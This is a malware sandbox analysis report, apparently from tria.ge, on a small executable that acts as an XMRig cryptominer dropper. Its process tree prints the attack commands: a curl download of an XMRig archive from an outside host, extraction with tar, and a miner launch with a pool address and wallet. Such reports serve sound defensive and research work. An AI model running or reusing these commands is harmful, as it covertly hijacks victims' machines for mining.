Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

11/03/2024, 21:08

240311-zy7ywsed31 10

11/03/2024, 21:06

240311-zx53xagd73 10

11/03/2024, 21:02

240311-zvwrfsec3x 10

11/03/2024, 21:01

240311-ztxx5aeb9x 10

11/03/2024, 20:59

240311-zs72psgc56 10

11/03/2024, 20:57

240311-zrmpdaeb3v 10

11/03/2024, 20:56

240311-zqzbsagb66 10

11/03/2024, 20:55

240311-zqlexsgb55 10

11/03/2024, 20:54

240311-zp4j4sgb43 10

11/03/2024, 20:53

240311-zplz3agb32 10

Analysis

  • max time kernel
    923s
  • max time network
    931s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2024, 20:59

General

  • Target

    test - Copy (12).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jYedvUKC.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3180
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:3492
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4524
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1808

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jYedvUKC.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        819KB

        MD5

        27e53c42dad867e4cf22595be259bc0f

        SHA1

        da939ff60f2c5a5985e3be5b5b5e783ad0e3256a

        SHA256

        0ca2d13deb53860a703584c701d55914eb821ff32fbe5922a100070075372467

        SHA512

        f3991ad22fa34f93ebd21c7eccbd43637cab1426d7777b079f83012c2759100383c7e240c1becdb20194dc88188e801b6a5656045bcaaf408b0a1704fd01525c

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        553KB

        MD5

        c4fa319bb3c9a86ddcd82ea686e181ae

        SHA1

        91e9cdc08fa08efb4907e4819cef45dbb0a597c2

        SHA256

        43cb4bb8398c4929673b0e653e43d66958ac0df5b3ff1c764f4fe75735837e28

        SHA512

        ccf74952af00c345a20d95a2a1516c5edf73d34304f218032b992d1b751019f905c02c2509e18017dd679f19f1dde0a6bced35f449325efc7fab675aa3f75896

      • memory/1180-0-0x0000000000EE0000-0x0000000000EE8000-memory.dmp

        Filesize

        32KB

      • memory/1180-4-0x00007FF813AE0000-0x00007FF8145A1000-memory.dmp

        Filesize

        10.8MB

      • memory/1180-22-0x00007FF813AE0000-0x00007FF8145A1000-memory.dmp

        Filesize

        10.8MB

      • memory/1808-23-0x000001CA94490000-0x000001CA944B0000-memory.dmp

        Filesize

        128KB

      • memory/1808-24-0x000001CA944E0000-0x000001CA94500000-memory.dmp

        Filesize

        128KB

      • memory/1808-25-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-26-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-28-0x000001CA94720000-0x000001CA94740000-memory.dmp

        Filesize

        128KB

      • memory/1808-27-0x000001CA94700000-0x000001CA94720000-memory.dmp

        Filesize

        128KB

      • memory/1808-29-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-30-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-32-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-33-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-34-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-35-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-36-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-38-0x000001CA94700000-0x000001CA94720000-memory.dmp

        Filesize

        128KB

      • memory/1808-37-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-39-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-40-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-42-0x000001CA94720000-0x000001CA94740000-memory.dmp

        Filesize

        128KB

      • memory/1808-41-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-43-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-44-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-45-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-46-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-47-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-48-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-49-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-50-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-51-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-52-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-53-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-54-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-55-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-56-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-57-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-58-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-59-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-60-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-61-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-62-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-63-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-64-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-65-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-66-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-67-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-68-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-69-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-70-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-71-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-72-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-73-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-74-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-75-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-76-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-77-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-78-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-79-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-80-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-81-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-82-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-83-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-84-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-85-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-86-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-87-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-88-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-89-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-90-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB

      • memory/1808-91-0x00007FF7A4360000-0x00007FF7A4E64000-memory.dmp

        Filesize

        11.0MB